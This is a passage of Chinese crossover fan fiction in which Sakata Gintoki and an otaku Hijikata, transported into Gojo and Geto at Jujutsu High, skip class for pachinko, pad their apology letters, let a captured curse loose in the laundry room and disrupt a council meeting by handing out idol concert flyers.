“… …这么不情愿吗？”坂田银时摸了摸下巴，“那你就在这待一会好了，正好我还有点事要处理，等我解决好了就来接你。”
宅十四眼睛“噌”地一下亮了起来，毫不犹豫地就同意了坂田银时的建议。
他看着独自走向外面的坂田银时，含泪挥了挥手里的小手绢。
离了你，谁把我当兄弟宠。
四宫看着面前“感天动地”的一幕，只觉得有种不好的预感。
走出会展的坂田银时随手拦下了一辆出租车。
他翘着二郎腿，手里夹着一张纸钞，得意地晃了晃：“麻烦去最近的打小钢珠的地方。”
回高专？开什么玩笑，他坂田银时像是那种会乖乖回去，坐在座位上上课的人吗？
他仗着现在一米九的身高，堂而皇之地用未成年人的身份，坐在了小钢珠前，并废寝忘食地奋战到了中午。
但是很遗憾，五条悟的欧皇属性并没有降临在他身上，所以当他再次将手伸向口袋时，只掏出了可怜兮兮的一个100元硬币。
就在他考虑要不要当掉身上的衣服和墨镜的时候，他突然感觉头顶的光被遮住了。
儿时躲在树上逃课被发现时的毛骨悚然感，在这个瞬间回来了。
他全身僵硬，手脚冰冷，眼睛紧紧地盯着面前的机器，仿佛只要不回头，就永远不会被发现。
但是死神还是降临了，夜蛾正道宽厚的手掌一把抓住问题学生的肩膀上，坂田银时感觉自己好像听到了骨裂的声音。
“… …我可以解释的夜蛾老师。”
“说。”
“辅助监督的车满员了，我们又没带钱，所以回不去了。”
夜蛾正道没有说话，下巴朝着小钢珠机器伸了伸，眼神里明明白白写着“那你还有钱来打小钢珠？”
“听我狡辩… …不是，听我解释。”坂田银时冷汗直流，但依然睁眼说瞎话，“这是夏油同学卖屁股赚到的钱，但是完全不够我们回高专的，所以，我就想着… …想办法，让它变多！”
“？”
夜蛾正道愤怒的面部很显然被这惊人的瞎话震惊到了，他脸上的表情空白了一瞬，接着就是更加怒气横生。
这猛然燃烧的怒火灼痛了坂田银时，他说到后面声音越来越小，明显底气不足，眼看着说的瞎话没有效果，坂田银时眼睛一闭，最后还是选了招“祸水东引”。
“其实是土… …夏油不想和自己的偶像分开所以给了我点钱打发我出来… …”
话没说完，他就听到地上似乎有什么人在痛苦地呻1吟。
他抽搐着嘴角，向下看去。
只见满头是包的宅十四，正躺在夜蛾正道脚边，不省人事。
“还有什么要说的吗？”
“… …夜蛾老师，你已经打了夏油了，就不要打我了吧？”
13.第十三章
当午睡后养足精神的家入硝子走进教室，看到的就是自己的两个同期，头上顶着一个比一个大的包，手里拿着笔，埋头盯着桌子上的白纸。
她看了眼瞪大眼睛坐在讲台上的咒骸，明白了这两个问题儿耐下心坐在这里的原因。
于是满脸看好戏地走到离她更近的坂田银时桌边，探头一看，白纸第一行正中间歪歪扭扭地写着“检讨书”，下面一个字都没有动。
再仔细一看，坂田银时人虽然还坐在这，眼睛已经闭上了，嘴角还挂着水晶吊坠，马上就要和纸面亲密接触了。
家入硝子嫌弃地挪开几步，朝着边上的宅十四看去。
宅十四稍微好一点，至少在“检讨书”下面多写了“亲爱的老师，敬爱的同学”几个字。
虽然总感觉写的内容有些不对劲。
家入硝子走到讲台上，占领一个最佳视角，嘴角扬起，语气平淡地说：“夜蛾老师下午好。”
就见刚刚还睡得死沉的两人，瞬间绷直了身体，胡乱地拿着笔乱挥，在纸上留下一道道鬼画符，努力营造出一种“我有在认真反思”的模样。
这不出预料的反应让家入硝子非常满意，她毫不客气地“哈哈哈”大笑起来。
听到笑声的坂田银时明白了自己被耍了，没有生气，反而有种发自内心的松了口气。
“什么嘛，原来是硝子啊。”
“你们又做什么了，让夜蛾老师这么生气？”
“就是因为什么也没做。”
“？”
家入硝子反应了一会，然后不可置信地微微睁大眼睛：“不是吧？夜蛾老师的课你们也敢逃？”
她忍不住佩服起来两个同期：“你们真是越来越大胆了。”
“... ...能从这么一句话，就成功推断出我们逃课的你，也很让人佩服。”
“嘛。”家入硝子干笑了一声，“谁让我和你们做了这么久同学呢。”
坂田银时下意识觉得有点不对劲，但还没琢磨出什么味，就被宅十四一把鼻涕一把泪地握住了胳膊。
“五条氏！怎么办？我憋不出一万字。”
“你怕什么，不就是一万字吗？”坂田银时毫无心理负担地给宅十四出着馊主意，“不会有人仔细看检讨书的，你只要开头和结尾写好，中间随便写什么都行。”
“写什么都行？”
“对，而且那什么，夜蛾最近不是在评校长的关键时刻吗？那肯定更没有时间看了。”
说着说着，坂田银时突然文思泉涌，在匆匆写完最有含金量的开头一段之后，开始快速地在检讨书中间塞垃圾内容。
受到坂田银时的启发，宅十四很快也被打通任督二脉，下笔如有神。
看着突然努力耕耘的两个同期，家入硝子也不再看他们的笑话，从讲台上走了下去，坐在自己座位上，掏出手机，和庵歌姬分享刚刚的事情。
夜蛾正道准时提前十分钟来到了教室的走廊上。
和早上如出一辙的安静让他下意识停下了脚步，他面无表情的脸微微有些绷不住。
应该不会再逃课了吧？毕竟都被自己亲自抓回来了。
虽然这两个人以前也经常逃课，但是一天之内逃了两次的情况还是第一次发生，让夜蛾正道有种学生越管越管不住的无力感。
他深吸口气，踏入教室，在看到三个学生一个不少，另外两个也在乖巧地写着检讨书的时候，他感觉自己如释重负。
他欣慰地说道：“咳咳，好了，悟，杰，你们的检讨书下课再写，上交的时候，别忘了还有昨天和今天的任务报告，加上早上迟到的那份检讨。”
坂田银时：“... ...”
宅十四：“... ...”
突然就一份也不想写了呢。
要写的东西太多，以至于触底反弹，让他们想要直接开始摆烂。
夜蛾正道一眼就看出来他们的想法，不快不慢地补充了一句：“我会让咒骸继续在这里监督你们的。”
“夜蛾老师我抗议！”坂田银时勇敢地举起了反抗的大旗，“我今天还一口饭都没吃，你这是赤果果的虐待！体罚！我要去教育局告你。”
“... ...教育局管不到我们这。”夜蛾正道下意识地反驳着，紧接着回过神，“你一个咒术师，一天不吃饭而已，不会有什么的。”
但他看着坂田银时的眼睛，最终还是软下了口气：“想吃什么，我去食堂给你们点，下午我还有个会，让食堂工作人员给你们送过来。”
课前的小小插曲结束，坂田银时和宅十四也在夜蛾正道充满威胁的眼神里，收起了没有写完的检讨书，开始了他们在这个世界的第一堂课。
和想象的不同，课程涉及到的内容都是和咒术发展以及咒力运行之类的硬核知识。
刚听个开头的时候，还觉得新鲜，但随着不熟悉的专业名词一个接一个冒出来之后，坐在这里上课就变成了一件十分煎熬的事情。
坂田银时已经开始控制不住点头的频率了，宅十四多反倒是因为之前被夜蛾正道锤晕，变相睡了一大觉，所以现在还比较精神。
他无聊地在桌子上下来回翻，失望地发现比他的兜都干净。
什么都干不了的他开始神游天际，想着想着，就想到了自己的新晋女神——星野爱，瞬间画意大发，也不管没有纸，直接拿起笔，在桌子上开始画。
夜蛾正道在黑板上写了几个字，回头就是看到这两个人完全不加掩饰的不遵守课堂纪律的行为。
他瞬间捏断了手里的粉笔，额头的青筋再次熟练地跳动。
将手里的粉笔精准地砸在打瞌睡的坂田银时头上，夜蛾正道双手用力拍了几下桌子：“悟！杰！你们两个给我站着听课！！”
还没等他继续说教，就感觉手下桌子的感觉不对。
随着木板间摩擦产生的刺耳声响起，坚持了一天的讲台，最终还是在夜蛾正道的手下散架了。
坂田银时迷茫地睁开眼，就看到变成木料堆的讲台和一脸懵逼的夜蛾正道。
他下意识地问道：“这个应该不要我们赔吧？”
夜蛾正道恶狠狠地朝他甩来一个眼神，成功让他闭上了嘴。
站在讲台原地址的老师疲惫地捏了捏自己的鼻梁，深深感慨着，这两年重复了无数次的想法：这届学生不好带啊。
窗外的阳光已经彻底消失，宿舍楼陆陆续续亮起了灯，坂田银时和宅十四还在教室里和检讨书、报告书做着斗争。
下午歌姬带着冥冥一起来看他们热闹，结果反而被坂田银时的厚脸皮气跑。
随着最后一笔落下，煎熬的惩罚结束了。
看着面前满满当当的几张纸，坂田银时虚弱地趴在了桌子上。
“… …上学真可怕。”
前家里蹲宅十四发出感慨，他小心翼翼整理好自己的心血之作，肚子适时的响了起来。
“说起来，都快过晚饭的时间点了。”
坂田银时站了起来，单手插兜，拿着写好的东西站到咒骸面前。
以一副霸道总裁扔黑卡的气势，将东西扔到咒骸面前，然后大步流星地走出了教室。
他们来食堂的
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时间有点晚了，平时人就不多的地方，现在更是连工作人员都没几个了。
好消息是菜品剩下不多，他们可以不用纠结晚上吃什么了。
坏消息是没有人给他们敲诈了。
坂田银时没有丝毫犹豫地选择了刷脸，以五条悟的知名度，在高专，或者说在咒术界的大部分地方，都是很好用的。
不过没有银行卡确实也是一个问题，他们虽然不知道要在这个地方待多久，所在的世界也是个陌生的地方，但是俗话说得好，没有钱在哪里都不方便。
他边嚼着饭，边思考着接下来该做什么，就看到桌子对面的宅十四，掏出手机手指翻飞，间隙中往嘴里扒两口饭，可谓是网络、肚子两不误。
“这才一天，你就退化成网瘾少年了？”
宅十四抬头看了眼坂田银时，突然不好意思起来，遮遮掩掩地嘟囔着：“也没有，就是… …爱酱嘛，是马上就要出道的新人，还没什么人知道她，所以我这个全球第一个铁粉，为了她的后续发展，不能什么也不做。”
坂田银时对宅十四那点小爱好不是很感兴趣，于是敷衍地回答了句：“哦，这样。”就开始卖力扒饭。
两人吃完饭，因为高专地理偏僻，周围除了山就是树，一到晚上连什么娱乐设施都没有，只能晃晃悠悠回到宿舍，开始洗漱，给今天做收尾工作。
咒术师这个工作虽然费命，但是生活福利什么的给得很足。
天知道坂田银时在知道原来高专还有专门的洗衣房，里面洗衣机让他们免费使用的时候，内心有多感动。
很好，又给他白嫖到了。
他从衣柜里拿出一件白色短袖和黑色短裤换上，把换下来的校服团起来，一股脑地塞进了洗衣机里。
然后哼着小曲，在房间里翻找起来。
不是他想偷看五条悟的隐私… …好吧，他承认有那么点好奇。
但关键是现在他缺失的信息有点多，拥有的系统与其说是来协助他们的，更像是来监督他们的。
甚至这个监督的范围也窄得吓人，目前来看也就管管他们早起和做任务，妥妥的一副半成品的残次品模样。
一问三不知，什么用都没有。
比起网文里的其他系统，看起来更像是宿管阿姨。
所以想要获取什么情报，只能他自己丰衣足食。
忙活半天，坂田银时只翻到了草稿一三五沓，游戏光盘二四盒，还有床底下的一摞子小黄书。
然后就被小黄书硬控了。
就在他畅游知识的海洋里的这段时间里，外面偶尔传来的人声也在渐渐消失。
忙活了一天的咒术师和辅助监督们，在内心祈祷着晚上不会突然来任务，三三两两的回到了自己的房间里。
办公室内，只有一盏灯还在亮着，灯光下的夜蛾正道轻叹口气，他终于整理好了开会的报告。
还没等他一口气叹完，窝在一边一动不动的咒骸，看见主人终于清闲下来，非常没有眼力见地把两个问题学生上交的报告和检讨书一起递给了他。
夜蛾正道：“… …”
这一丝休息时间都不给的压榨行为，就算是出自自己亲手做的咒骸，也难免让他在一瞬间想要暴跳而起。
要不干脆就看个开头和结尾吧？
疲惫的内心让夜蛾正道产生了偷懒的念头，但紧接着，更强大的责任心打消了这个邪念。
这可是他的学生认真书写了一下午的东西，自己不能这么敷衍了事。
他喝了口手边的茶，提了提神，然后抓起最上面的一张开始看起。
14.第十四章
刚一入目，那龙飞凤舞，宛如鬼画符的字迹就让夜蛾正道倒吸一口气。
他努力自己顺着自己的气。
已经很好了，这次动手写了自己这么多字的检讨，已经很好了，他不要一下子奢侈太多。
调整好心态的夜蛾正道接着看了下去。
这是份坂田银时写的检讨书，第一段很简短，叙说了一下自己的错误，然后最后以“对此感到十分抱歉”做结尾。
拢共一百字不到，但却让夜蛾正道感到欣慰，这小子竟然真的会觉得自己错了，而且还在道歉，虽然只是笔头写出来的，但在五条悟身上算是个里程碑式的进步了。
丝毫不觉得自己标准放的很低的夜蛾正道，继续看了下去。
“关于东京的那家小钢珠，根据人流量来看周围应该还有不少类似店铺，但是这家明显更受欢迎，所以肯定… …嗯？”
怎么画风一转，从道歉文变成了小钢珠的探店vlog了？
夜蛾正道揉了揉眼睛，怀疑自己是不是熬夜熬太狠，出现幻觉了。
他眯起眼睛越看越觉得离谱，这检讨书里对小钢珠的研究之深刻，情感之激奋，手法之老练，一看就是出自一个老手之手。
认真看完的夜蛾正道只觉得晴天霹雳。
天啊，五条家的六眼被他养成赌徒了吗？自己的教育这么失败吗？
他按下想要夺门而出找五条悟质问的冲动，耐着性子看完最后一段格格不入的“综上所述，我已经深刻意识到自己的错误… …”。
往好点想，万一只是他为了水字数，随便从网上抄的一段呢？
夜蛾正道沉默了一会，将检讨书放在一边。
不管怎么样，大晚上的不能扰民，明天再说。
他拿起下一张坂田银时写的检讨书，木着脸看完和刚刚如出一辙的内容，抹了把脸，继续看坂田银时写的任务报告。
一拿到面前，还没有怎么看，夜蛾正道内心就燃起了一团快要压不住的火。
偌大的一张A4纸上，除了姓名和日期，其他一个多余的字都没有，原本应该写内容的地方，歪歪扭扭地画着一只触角怪。
原本克苏鲁风的怪物，因为过于简陋的画风，变得抽象了起来，尤其是嘴部，那像是马桶搋子形状的部分突兀的如同嫁接植物一样。
如果咒灵知道自己被画成这副样子，估计化成灰也会爬起来骂一顿吧。
面无表情的夜蛾正道手上暴起青筋，捏皱了报告书的一角。
就在他开始重新思考要不要跑到五条悟房里，把让他这么生气的罪魁祸首从被窝里拖出来好好骂一顿的时候，外面突然响起一声爆炸声。
接着就是响彻天际的警报声。
夜蛾正道猛地站了起来，感受着陌生咒力的来源，心下觉得不好，有敌袭。
敌人出现的地方是宿舍那边，那边有很多已经休息的学生和辅助监督。
于是也不管刚刚被气得够呛，直接就冲去了现场。
因为警报声而被吵醒的人有不少，大家穿着睡衣，手里提着武器，聚集在咒力爆发的地点，心里做着最坏的打算。
毕竟能突破高专结界的咒灵，他们还真没有遇到过多少个。
作为马上要成为下一届校长的夜蛾正道心情沉重地走到人群前，先是几句话安抚了下大家，然后看向咒灵所在的地方——洗衣房。
就在他准备先把自己的咒骸派过去试探一下的时候，里面的咒灵开始动作了。
它一个触手掀飞大门，滑稽的喇叭嘴率先挤出门框，在看见这么多咒术师时，不满地发出“卟卟”声。
夜蛾正道沉默了，区区一个三级咒灵，是怎么进到高专里… …等等！
他眼睛倏然瞪大，这个咒灵他怎么看怎么觉得眼熟，对了，这不是和五条悟报告书上画的咒灵一模一样吗？！
那一刻，积攒过多的怒气终于还是一齐爆发了出来。
在众人都还没反应过来的时候，只见夜蛾正道转头，怒目圆睁地对着宿舍楼怒吼：“五条悟！夏油杰！你们两个混蛋给我过来！！”
坂田银时捧着小黄书的手下意识地抖了三抖，他在一秒内回想了今天的全部行为，然后很自信的确定自己没有惹事。
他走到窗户边，偷感十足的掀起窗帘一角，就看到了外面灯火通明，不知道什么时候站着那么多人。
这咒术师的数量，抵得上动画两季加起来的出场人数了都。
尽管在黑暗中，视力很好的夜蛾正道还是一眼就扫到了偷窥的坂田银时。
虽然他什么都没说，但坂田银时确信，夜蛾正道那刀削斧凿般的脸，在对着他说脏话。
左右自己也没做错事，于是坂田银时大大咧咧地开门，在众目睽睽之下走到了夜蛾正道面前。
“悟，这是你上午任务里要祓除的咒灵吗？”
坂田银时愣了下，歪头看去。
堵在洗衣房门口的三级咒灵对着他不满地吐着泡泡。
坂田银时：“… …”
他眨了眨自己的死鱼眼，不自然地用右手挠了挠后脑勺。
“好像，大概，也许… …是的。”
完蛋，就说他怎么总感觉自己好像忘记了什么事情。
眼前的夜蛾正道因为他这句话，浑身的肌肉瞬间膨胀，关节发出恐怖的“咯吱”声。
“等等等等！不是这样的，这个是夏油杰想收起来做小零食吃的！和我没关系啊！”
“… …杰呢？”
“在屋里，还没出来吧？”
夜蛾正道也不顾围观咒术师们异样的眼光，抓着坂田银时的后衣领就往宅十四的屋子出走。
他用力敲了几下门，里面立马传来不耐烦的声音。
“几点了知不知道！做人要有点边界感，从御宅族踏进自己屋子里的那一刻开始，就已经隔绝和外界的交流了！”
夜蛾正道：“？”
这句话无异于火上浇油，夜蛾正道没再等宅十四开门，他选择自助，轻轻松松地一脚踹开了房门。
“呀！”
宅十四发出一声堪比JK的尖叫，将一个笔记本牢牢地握在胸口。
小小的一间宿舍内，三个人面面相觑。
看清来人之后，宅十四就不自然地移开了目光，小声嘟囔着：“大晚上的，夜蛾老师来干嘛？”
“… …外面这么大声音，你都没听见吗？”
宅十四茫然地眨了眨眼睛，然后在夜蛾正道的示意下，掀开窗帘，朝外面看去。
“这是大晚上的举行派对吗？咒术师们精力好好啊。”
夜蛾正道听着宅十四由心的感慨，面部肌肉忍不住抽搐了几下。
“怎么想都不是吧！你好好看看那个咒灵！”
宅十四这才注意到洗衣房门口堵着一只熟悉的咒灵。
他脸色瞬间大变：“不好！我的衣服还在里面洗呢！”
正义的铁拳最终还是没有收住，用力地砸向了宅十四的头顶：“怎么想问题都不是在这里吧！”
看着宅十四头顶鼓起一个比他眼睛还大的包，坂田银时非常猖狂地笑出了声：“咩哈哈哈哈哈，虽然你脑子不好，但是不用担心，因为现在你有两个脑袋了，以后可以交替着来用。”
还没等他笑完，一颗同款的大包在他的头顶上冒出。
“你也逃不掉，悟，杰，你们最好给我解释清楚，为什么任务里祓除的咒灵会出现在高专。”
夜蛾正道选择避开旁人，单独和他们两个聊是有原因的，任务咒灵出现在高专这件事可大可小。
最近高专的这两个最强有点太引人注目了，有太多人想要拉拢他们，但同时，也有很多人想要把可以动摇咒术界的不稳定因素扼杀在摇篮里。
五条悟因为身份背景，上面动不了他。
但夏油杰就不一样了，他出身于一般人的家庭，除了五条悟这个朋友，身边可以说是一点帮衬的势力都没有。
不怕一万就怕万一，如果有人以此做文章，觉得夏油杰居心叵测，利用咒灵操术，把咒灵通过变成咒灵玉的方式带到结界里，企图摧毁咒术界怎么办？
这次只是个三级咒灵，但谁知道下一次出现的会不会是一级甚至是特级咒灵呢？
越往上接触，夜
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蛾正道看得越多，内心就越要多想一层。
在他这里，旁人嘴里的“最强组合”也只不过是两个尚且稚嫩，性格调皮的学生而已。
身为老师，他必须要保护他们。
宅十四看着夜蛾正道沉下来的脸色，也知道自己这次做错了，不安地抓着自己的左臂。
“我不是故意的，只是咒灵玉放在口袋里，忘记吃了。”
“… …只是因为这个？”
宅十四点了点头，他下意识回想了一下咒灵玉的味道，脸色变得铁青：“咒灵玉… …实在是太难吃了。”
夜蛾正道无语的表情猛地一怔，夏油杰从来没有和他说过咒灵玉的味道。
他曾经偶然看到过夏油杰调伏咒灵，咽下咒灵玉的。
但那时的他面色平静，甚至吃完还能笑着和别人对话，看起来并不像在吃一个难吃的东西，所以他没有察觉到。
“是什么味道的？”
“啊？”宅十四看着平静下来的夜蛾正道，想了想，复述了一遍原著里夏油杰的形容，“像是擦过呕吐物的抹布一样。”
“… …我知道了。”说完夜蛾正道就恢复了平常的神情，“你们两个出来，和被吵醒的各位咒术师们好好道个歉。”
不管真实内心怎么想，表面上众咒术师还是很客气的表示没有关系。
大家互相寒暄了几句，陆陆续续回到了自己的房间内，只留下夜蛾师生和一只被术式困在原地的咒灵。
夜蛾正道知道，事情还没有结束，最重要的还是明天要怎么向上级汇报。
好在现在是夜晚，大部分人都在休息，消息要传到上面差不多要第二天了，他还有一晚上的时间好好想理由。
他看向打着哈欠的坂田银时和盯着咒灵的宅十四：“你们也回去休息吧，这只咒灵我来祓除。”
坂田银时抬了抬眼皮，心里有些意外。
夜蛾正道在原著里的着笔不是很多，大家对他的印象更多的是“五条悟的老师”、“审美感人的毛毡大师”以及“男妈妈”。
倒是没想到，这粗犷的外表下，心竟然这么软。
虽然大部分时间不怎么喜欢动脑子，但是好歹也是参加过攘夷战争的，在同伴们的耳濡目染下坂田银时多多少少还是懂些弯弯绕绕的。
按理说，选择让宅十四调伏咒灵才应该是最好的选择。
一是可以保留证物，避免有人联合口供，来个百口莫辩，二是证物在自己手中，可以保证其不被动手脚。
坂田银时不认为这次的意外够成为别人扳倒“夏油杰”的砝码，但多留个心眼，免得被人添堵也是好的。
还没等坂田银时说出自己的想法，意料之外的，宅十四率先开口，拒绝了夜蛾正道。
“这只咒灵，我要自己调伏。”
夜蛾正道欲言又止：“只是个三级咒灵而已。”
没必要让自己再经历一次这样的痛苦。
“可是… …”宅十四缓缓抬头，眼睛里迸发出渴望，“可是它会吐泡泡！”
夜蛾正道：“… …啊？”
“天啊，我怎么能把它给忘了！”宅十四翻开一直抱在胸口的笔记本，刷刷翻了几页，“对对对，这样这个舞台的效果就能保证了，到时候爱酱… …嗯，接下来就是怎么让一般人看见了… …”
坂田银时想要从上去看看写的什么，却被宅十四嫌弃地推开。
万事屋法则第不知道几条：不在敌人最警惕的时候出手。
所以坂田银时选择以退为进，大不了以后找个机会溜进房间，偷偷看。
“你想干嘛就干嘛吧，我困了，先回去睡觉了。”
说完真的就转身回到了房间内。
夜蛾正道见状也不再劝：“那你快点调伏吧，夜也很深了。”
宅十四咽了咽口水，学着白天的样子朝着咒灵伸出手，一颗熟悉的黑球出现在他掌心里。
他暗暗松了口气，要是手伸了半天，什么都没发生，那就尴尬了。
在夜蛾正道的注视下，宅十四深深看了眼自己画在本子封面的爱酱，一脸英勇就义地吞下了咒灵玉。
15.第十五章
万事屋虽然是个很不良心的企业，没有五险一金，没有保险，甚至没有工资。
但是只有一点可以保障，那就是工作时间绝对不会提前。
当然，给得太多了的情况除外。
主要是因为老板早上起不来。
习惯睡到八点才醒的坂田银时，在这个不需要接委托做任务来养活自己的世界里，自然没有定闹钟的想法。
他想放纵自己睡到自然醒，却在早晨突然听到一个熟悉的机械声。
【快到了晨练的时间，请宿主起床，不要迟到。】
坂田银时嫌烦地皱了皱眉，翻了个身继续睡。
【宿主置若罔闻，将在十秒后启动电击惩罚。】
【十，九，八，三，二… …】
“等等等等！”坂田银时掀被而起，“中间的七到四呢？你也要学某个大叔做个男子汉吗？”
【恭喜宿主成功起床，您起床的速度已经超过了全国87％，请再接再厉。】
“看起来我还挺厉害的嘛，对了，你这哪来的数据？”
【编的。】
坂田银时：“… …”
他就多余问这一嘴。
醒都醒了，也没了什么再躺回去的兴致。
坂田银时伸了伸懒腰，刚想下床洗漱，不经意间看到了左下角一个“历史记录”。
好奇这个废物系统一天天都在做什么，坂田银时试着点开了界面。
第一条的日期写的是刚刚，显示着“尝试启动电击，被宿主打断，启动失败TAT”。
第二条看起来像是昨天做任务那会，显示的内容和第一条一样，甚至连颜表情都没有变化。
坂田银时抽了抽嘴角，这系统到底是有多执着电击他啊？
他继续看向第三条。
这次的内容显示的不同，竟然是启动成功。
“尝试启动电击，启动成功：））”
坂田银时一脸问号，启动成功？他还有什么时候被电过？他现在已经皮实到连电击都没有感觉了吗？
他在虚空中划了划，发现下面还有好几条启动成功的记录。
再定睛看向时间，是昨天早上六点到九点。
而今天他第一次被喊起床刚好是六点，他们八点半左右上课，也就是说，昨天他以为自己只是睡得很死，但其实可能是被电晕了吗？
自己这个卷发原来不是睡出来的，而是被电出来的吗？！
坂田银时面目狰狞了起来，负面情绪化作沸腾的咒力，给自己的外观，在物理上镀了层黑气特效。
不会是那个抠门哥布林大叔，为了报复他们从他嘴里扣钱，让这个系统夹杂私货吧？
坂田银时以己度人，觉得肯定是这样的。
在心里狠狠地记上一笔中，他晃晃悠悠洗漱完，和同样一脸没睡醒的宅十四来到了食堂。
早饭是非常没有新意的定食，菜里油没有多少，但是味增汤里的盐倒是放得相当豪放。
一顿早饭吃得两人猛灌了好几口水，到最后有点搞不清是吃饱了还是喝饱了。
就这么一路打着嗝，两人卡着点，来到了操场准备晨练。
操场上夜蛾正道不在，只有家入硝子在装模作样的做着拉伸动作，坂田银时猜他应该是去处理昨天晚上事情的后续了。
“哟，今天夜蛾老师不在，还以为你们铁定会不来呢。”
“先不说夏油了，我看起来是这么喜欢偷懒的人吗？”
说着，坂田银时一屁股坐到草地上，没骨头似的躺倒。
“… …已经不用看了吧？这很明显。”
宅十四驼着背走了过去，躺倒在坂田银时边上的草地上，拍了拍自己身边的空地：“硝子，一起躺嘛，反正你做锻炼也用不上。”
“我发现你真是越来越会讲话了。”
家入硝子停下拉伸运动，走过去俯视自己的两个同期：“你们昨天很忙啊，到处惹祸。”
“我也不想的。”宅十四小声嚷嚷着，“不过夜蛾老师不会因为我受到牵连吧？他最近不是在评选下一届校长吗？”
家入硝子眯了眯眼睛，故意说道：“唔，这么一想确实可能会有影响啊，上面那些人又不讲道理，善良的夜蛾老师说不定会为了亲爱的学生，独自抗下所有惩罚啊。”
宅十四原地一个拱地而起：“那那那那不是很糟糕吗！？”
“确实很糟糕啊。”坂田银时几乎瞬间就对上了家入硝子的电波，他附和着，“夜蛾的性格你是知道的，他绣花针拿得比裁纸刀都多，就算外表看着像个极道，那也是个会煮饭的极道煮夫。”
“… …这个形容有点过了吧？五条。”
宅十四不疑有他，更加慌乱起来。
坂田银时饶有兴致地看着抓耳捞腮的宅十四，轻飘飘地说了句玩笑话：“干脆我们杀到总监部，把夜蛾救出来吧？反正里面的烂橘子们也不能拿我们怎么办。”
“好。”
坂田银时：“啊？”
宅十四站起身，眼神坚毅：“我们去劫法场吧！”
“夜蛾老师还没有被处刑。”
家入硝子下意识反驳着，但紧接着想起来重点不在这。
回过神后，她第一反应是，自己的同期在开玩笑。
但她看了看宅十四，再看了看坂田银时。
想了想昨天他们两个的所作所为，觉得好像确实是他们能干出来的事情。
于是她转过身，背对着两个人，重新开始做伸展运动，做着做着，离这两个人越来越远。
眼看她就要走出操场了，宅十四疑惑地喊了声：“硝子？”
家入硝子的身影一滞，接着马不停蹄地跑远了。
趁着宅十四沉默的空档，坂田银时起身拍了拍屁股后面的草屑，非常刻意地无视宅十四，目视前方，看起来在认真的思考着什么，嘴里嘟嘟囔囔着：“早饭好像吃少了，要再加一顿吗？”
边说着，也学着家入硝子往操场边缘挪动。
宅十四无力地朝着坂田银时的背影伸出了手，最终只能看着他远去。
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现在正是处在春天和夏天中间的时节，天气没有冷到手都掏不出来，也没有热到想要钻进冰箱。
是正正好好的凉爽。
这么好的天气，坂田银时觉得最适合呆的地方应该是被窝，而不是教室。
他坐在座位上，发出第三十七次叹气。
和他隔了一个座位的家入硝子刚好睡够一个回笼觉，打着哈欠坐了起来。
她揉了揉眼睛，环顾了下教室，发现除了自己只有坂田银时在。
“怎么回事？你没有和夏油待在一起吗？”
“他可是要劫法场的人，我这么遵纪守法，会和他一起吗？”
“哈哈哈哈，五条你讲的笑话好好笑。”家入硝子从口袋里掏出一支烟，但看到快到上课时间了，只好惋惜地收了起来，“不过话说回来，他总不会真去总监部了吧？”
“应该不会吧？”坂田银时像洗扑克一样，从前往后，再从后往前地快速翻着书，“这家伙恐怕连总监部在哪都找不到吧？”
况且，宅十四也不是那种有胆子做这种事的。
换做是土方十四郎倒是有可能。
想到这，坂田银时难免有些好奇，土方十四郎不会只能在系统空间出现吧？难得穿个越，什么也做不了这也太惨了。
太惨了，惨得坂田银时没忍住笑出了声。
家入硝子奇怪地看了眼突然自己乐起来的坂田银时，托着下巴看向窗外：“夜蛾老师好慢啊。”
和风平浪静的高专教室相同，设立在东京高专的总监部分部的会议大厅此时一片寂静。
但是这份寂静不是因为大家心平气和，而是被震撼到失语。
夜蛾正道站在大厅中间，脸色茫然地看着身边的宅十四。
他承认，一开始，当他在激情地舌战群儒的时候，看到大门被暴力打开，自己的学生从黑暗的走廊走进来，站在自己的面前。
他的内心既有对学生不听话的无奈和生气，也有被学生担心着的感动。
但事实证明，他还是感动得太早了。
当时整个大厅因为宅十四的闯入，变得十分嘈杂，耳边充斥着总监部的人各种话语的训斥，但是宅十四的眼神却无比的坚毅。
离得最近的一个总监部烂橘子，看着面色毫无动摇的宅十四，感觉自己被瞧不起了，心中更加生气。
他“噌”地站起来，挥舞着长袖呵斥：“夏油杰！你知不知道这里是什么地方？擅自闯入，是想造反吗？”
“造反？”
宅十四面无表情地看过去，昏昏暗暗的火光，或明或暗地打在属于夏油杰样貌的脸上，在眼部投下一层阴影，无端生出一份戾气。
呵斥的人被这表情吓住，愤怒的表情卡在一半，原本要说的话在嘴边掉了个方向。
“你，你想干什么？这，这里可是总监部！”
“我不想干什么。”
宅十四缓缓开口，声音不大，却让整个大厅奇异的安静了下来。
他们躲在障子门后，朝着自己左右的人互相比着眼神，神情比起语句里的愤怒，多了一丝恐惧。
夜蛾正道眼看着气氛不对劲，想要开口缓和一下，就看到宅十四抬步走向和他说话的那个人。
“等等！杰！冷静一点！”
“你想干什么！我警告你！我不光是总监部的，还是御三家的人！得罪了我你知道会有什么下场吗？”
那个人开始虚张声势地大喊起来，身边没有一个人帮助他。
大家都想看看，宅十四到底想要做什么，除此之外，区区一个小卒子的死活和他们没有关系。
那个人明显也意识到了这一点，他秉持着最后所谓的高层的面子，瞪大眼睛看着宅十四一步一步走到自己面前。
然后弯腰掏出了一份宣传单。
嗯？宣传单？
“请务必了解一下虚拟偶像爱酱！啊，虽然还对外界保密，但她马上就要在演唱会宣布出道了，有时间和兴趣的话请务必去现场看看！”
“啊？”
烂橘子接过宣传单，上面花里胡哨地印着同一个二次元角色的图片，花体字写着演唱会的时间地点。
竟然真的是演唱会宣传单。
在他愣神的功夫，宅十四围着圆形的会议厅走过去，给每个总监部的人都发了一张宣传单。
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如果说一开始大家还在怀疑，宅十四是不是借着发宣传单的动作搞什么事情的话，现在的他们只是沉默地看着自己手里的纸，陷入了深深地自我怀疑。
夜蛾正道只觉得自己的眼珠子都要瞪出来了，他的学生怎么总是会在意想不到的地方整出花活。
宅十四看到夜蛾正道盯着自己，有些茫然地眨了眨眼，然后恍然大悟，从口袋里又掏出一张宣传单：“不用担心夜蛾老师，没有忘记您这份，最珍贵的复印原件给您。”
不，他并不是很想要。
从震惊中回过神的高层们愈发生气，感觉自己没有被宅十四放在眼里，手里的这份宣传单就是他藐视他们的证据。
闯入“关于夏油杰非法携带咒灵进高专，威胁咒术师生命安全”的会议现场，还若无其事地给他们每一个人发放这种毫不相干的什么虚拟偶像的宣传单。
不就是指着他们鼻子说：比起会议结果，他更关心偶像的演唱会，其实他根本就不在乎他们这些高层的看法吗？
当即就有人拍桌大喊，安静了一会的大厅内重新响起更大声的吵吵嚷嚷。
